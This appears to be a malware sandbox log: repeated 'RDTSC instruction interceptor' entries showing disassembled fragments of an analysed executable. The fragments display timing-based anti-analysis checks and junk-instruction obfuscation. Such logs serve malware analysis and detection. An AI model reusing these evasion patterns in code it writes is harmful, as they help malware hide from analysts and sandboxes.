Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107D0 second address: 4D107EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov eax, 2BB6C401h 0x0000000f mov al, 9Fh 0x00000011 popad 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov bl, al 0x00000018 mov ecx, ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107EB second address: 4D1081C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5C287768E6h 0x00000008 pop ecx 0x00000009 jmp 00007F5C287768DBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1081C second address: 4D10820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10820 second address: 4D1083B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1083B second address: 4D10879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F5C289E2D1Ah 0x00000013 or esi, 137F4F68h 0x00000019 jmp 00007F5C289E2D1Bh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D108ED second address: 4D108F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D108F1 second address: 4D108F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D108F7 second address: 4D10966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5C287768DEh 0x00000009 and eax, 56D0B8E8h 0x0000000f jmp 00007F5C287768DBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 cmp dword ptr [ebp-04h], 00000000h 0x0000001c pushad 0x0000001d mov eax, edx 0x0000001f pushfd 0x00000020 jmp 00007F5C287768E7h 0x00000025 add esi, 2815B0DEh 0x0000002b jmp 00007F5C287768E9h 0x00000030 popfd 0x00000031 popad 0x00000032 mov esi, eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10966 second address: 4D1096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1096A second address: 4D10970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10970 second address: 4D10976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10976 second address: 4D1097A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A19 second address: 4D10A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A1D second address: 4D10A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A21 second address: 4D10A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A27 second address: 4D10A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A2D second address: 4D10A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A31 second address: 4D10008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f sub esp, 04h 0x00000012 xor ebx, ebx 0x00000014 cmp eax, 00000000h 0x00000017 je 00007F5C28776A5Fh 0x0000001d xor eax, eax 0x0000001f mov dword ptr [esp], 00000000h 0x00000026 mov dword ptr [esp+04h], 00000000h 0x0000002e call 00007F5C2C56F7EBh 0x00000033 mov edi, edi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10008 second address: 4D1000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1000C second address: 4D10010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10010 second address: 4D10016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10016 second address: 4D1009D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5C287768E0h 0x0000000f push eax 0x00000010 jmp 00007F5C287768DBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushad 0x00000018 mov dh, ch 0x0000001a call 00007F5C287768E7h 0x0000001f pop eax 0x00000020 popad 0x00000021 movsx edi, ax 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push edx 0x0000002b pop ecx 0x0000002c pushfd 0x0000002d jmp 00007F5C287768E9h 0x00000032 add eax, 7E16B0A6h 0x00000038 jmp 00007F5C287768E1h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1009D second address: 4D100E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov ecx, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push FFFFFFFEh 0x0000000c pushad 0x0000000d mov edx, 133B7A06h 0x00000012 pushad 0x00000013 mov di, D660h 0x00000017 pushfd 0x00000018 jmp 00007F5C289E2D29h 0x0000001d jmp 00007F5C289E2D1Bh 0x00000022 popfd 0x00000023 popad 0x00000024 popad 0x00000025 push 1ACEE84Fh 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100E9 second address: 4D100EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100EE second address: 4D1011C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F5C289E2D29h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 5AF7B5F9h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1011C second address: 4D10122 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10122 second address: 4D10134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10134 second address: 4D10138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10138 second address: 4D1014E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 57921FA6h 0x0000000d pushad 0x0000000e push ecx 0x0000000f push ebx 0x00000010 pop esi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1014E second address: 4D10152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10152 second address: 4D101F6 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5C289E2D1Eh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 225334D6h 0x00000012 jmp 00007F5C289E2D21h 0x00000017 mov eax, dword ptr fs:[00000000h] 0x0000001d jmp 00007F5C289E2D1Eh 0x00000022 nop 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F5C289E2D1Eh 0x0000002a and ax, 6488h 0x0000002f jmp 00007F5C289E2D1Bh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F5C289E2D28h 0x0000003b xor cx, C6E8h 0x00000040 jmp 00007F5C289E2D1Bh 0x00000045 popfd 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F5C289E2D24h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D101F6 second address: 4D10298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e jmp 00007F5C287768E1h 0x00000013 popad 0x00000014 sub esp, 18h 0x00000017 pushad 0x00000018 mov edi, eax 0x0000001a movzx eax, bx 0x0000001d popad 0x0000001e push esp 0x0000001f pushad 0x00000020 call 00007F5C287768DEh 0x00000025 mov ah, 99h 0x00000027 pop edx 0x00000028 pushfd 0x00000029 jmp 00007F5C287768DCh 0x0000002e jmp 00007F5C287768E5h 0x00000033 popfd 0x00000034 popad 0x00000035 mov dword ptr [esp], ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F5C287768E3h 0x00000041 sub cl, FFFFFFAEh 0x00000044 jmp 00007F5C287768E9h 0x00000049 popfd 0x0000004a movzx eax, dx 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10298 second address: 4D1029E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1029E second address: 4D102B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5C287768DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102B5 second address: 4D102BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102BB second address: 4D102CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C287768DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102CC second address: 4D1030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f mov edi, 483C0BCEh 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 jmp 00007F5C289E2D25h 0x0000001b xchg eax, edi 0x0000001c pushad 0x0000001d mov ecx, 5244AC73h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1030D second address: 4D10313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10313 second address: 4D10323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov bh, ah 0x0000000c mov si, di 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10323 second address: 4D10340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10340 second address: 4D10344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10344 second address: 4D10348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10348 second address: 4D1034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1034E second address: 4D10384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75C74538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5C287768E7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10384 second address: 4D1039C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1039C second address: 4D103C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5C287768E0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103C4 second address: 4D103CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103CA second address: 4D1041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov bh, ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor eax, ebp 0x0000000c jmp 00007F5C287768E0h 0x00000011 nop 0x00000012 pushad 0x00000013 mov ebx, eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F5C287768E8h 0x0000001c sub ah, FFFFFFB8h 0x0000001f jmp 00007F5C287768DBh 0x00000024 popfd 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1041D second address: 4D10424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10424 second address: 4D10435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10435 second address: 4D10439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10439 second address: 4D1043D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1043D second address: 4D10443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10443 second address: 4D10449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10449 second address: 4D1044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1044D second address: 4D10477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b jmp 00007F5C287768E3h 0x00000010 mov dword ptr fs:[00000000h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10477 second address: 4D1047D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1047D second address: 4D104B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-18h], esp 0x0000000b jmp 00007F5C287768DBh 0x00000010 mov eax, dword ptr fs:[00000018h] 0x00000016 pushad 0x00000017 movzx ecx, di 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5C287768E7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104B6 second address: 4D104F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ecx, dword ptr [eax+00000FDCh] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5C289E2D27h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104F2 second address: 4D10583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5C287768DAh 0x00000013 add cx, AE58h 0x00000018 jmp 00007F5C287768DBh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F5C287768E8h 0x00000024 adc ecx, 1EBE38B8h 0x0000002a jmp 00007F5C287768DBh 0x0000002f popfd 0x00000030 popad 0x00000031 push esi 0x00000032 mov ax, di 0x00000035 pop ebx 0x00000036 popad 0x00000037 jns 00007F5C28776941h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F5C287768E8h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10583 second address: 4D10592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10592 second address: 4D105BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, 6D1C353Eh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105BC second address: 4D105C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105C2 second address: 4D105C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105C6 second address: 4D105CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105CA second address: 4D10608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, 047C0708h 0x00000013 pushfd 0x00000014 jmp 00007F5C287768E1h 0x00000019 or eax, 1437EF76h 0x0000001f jmp 00007F5C287768E1h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00027 second address: 4D00067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5C289E2D1Ah 0x00000013 sub ecx, 62404C68h 0x00000019 jmp 00007F5C289E2D1Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00067 second address: 4D0006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0006C second address: 4D0009E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5C289E2D20h 0x00000009 adc si, 1EC8h 0x0000000e jmp 00007F5C289E2D1Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov cx, di 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0009E second address: 4D000C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F5C287768DDh 0x00000013 pop ecx 0x00000014 mov ax, dx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000C3 second address: 4D000C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000C9 second address: 4D000CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000CD second address: 4D0012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b pushad 0x0000000c mov si, 3E5Dh 0x00000010 movzx esi, dx 0x00000013 popad 0x00000014 push edx 0x00000015 pushad 0x00000016 movzx ecx, bx 0x00000019 mov esi, edx 0x0000001b popad 0x0000001c mov dword ptr [esp], ebx 0x0000001f pushad 0x00000020 mov cx, di 0x00000023 jmp 00007F5C289E2D21h 0x00000028 popad 0x00000029 xchg eax, edi 0x0000002a pushad 0x0000002b mov cl, 38h 0x0000002d call 00007F5C289E2D29h 0x00000032 mov ecx, 5C0D4BB7h 0x00000037 pop ecx 0x00000038 popad 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0012D second address: 4D00133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00133 second address: 4D00139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00139 second address: 4D0013D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0013D second address: 4D00141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00190 second address: 4D001F6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5C287768E0h 0x00000008 jmp 00007F5C287768E5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 inc ebx 0x00000012 jmp 00007F5C287768DEh 0x00000017 test al, al 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F5C287768DDh 0x00000022 and al, FFFFFF96h 0x00000025 jmp 00007F5C287768E1h 0x0000002a popfd 0x0000002b push esi 0x0000002c pop edx 0x0000002d popad 0x0000002e rdtsc
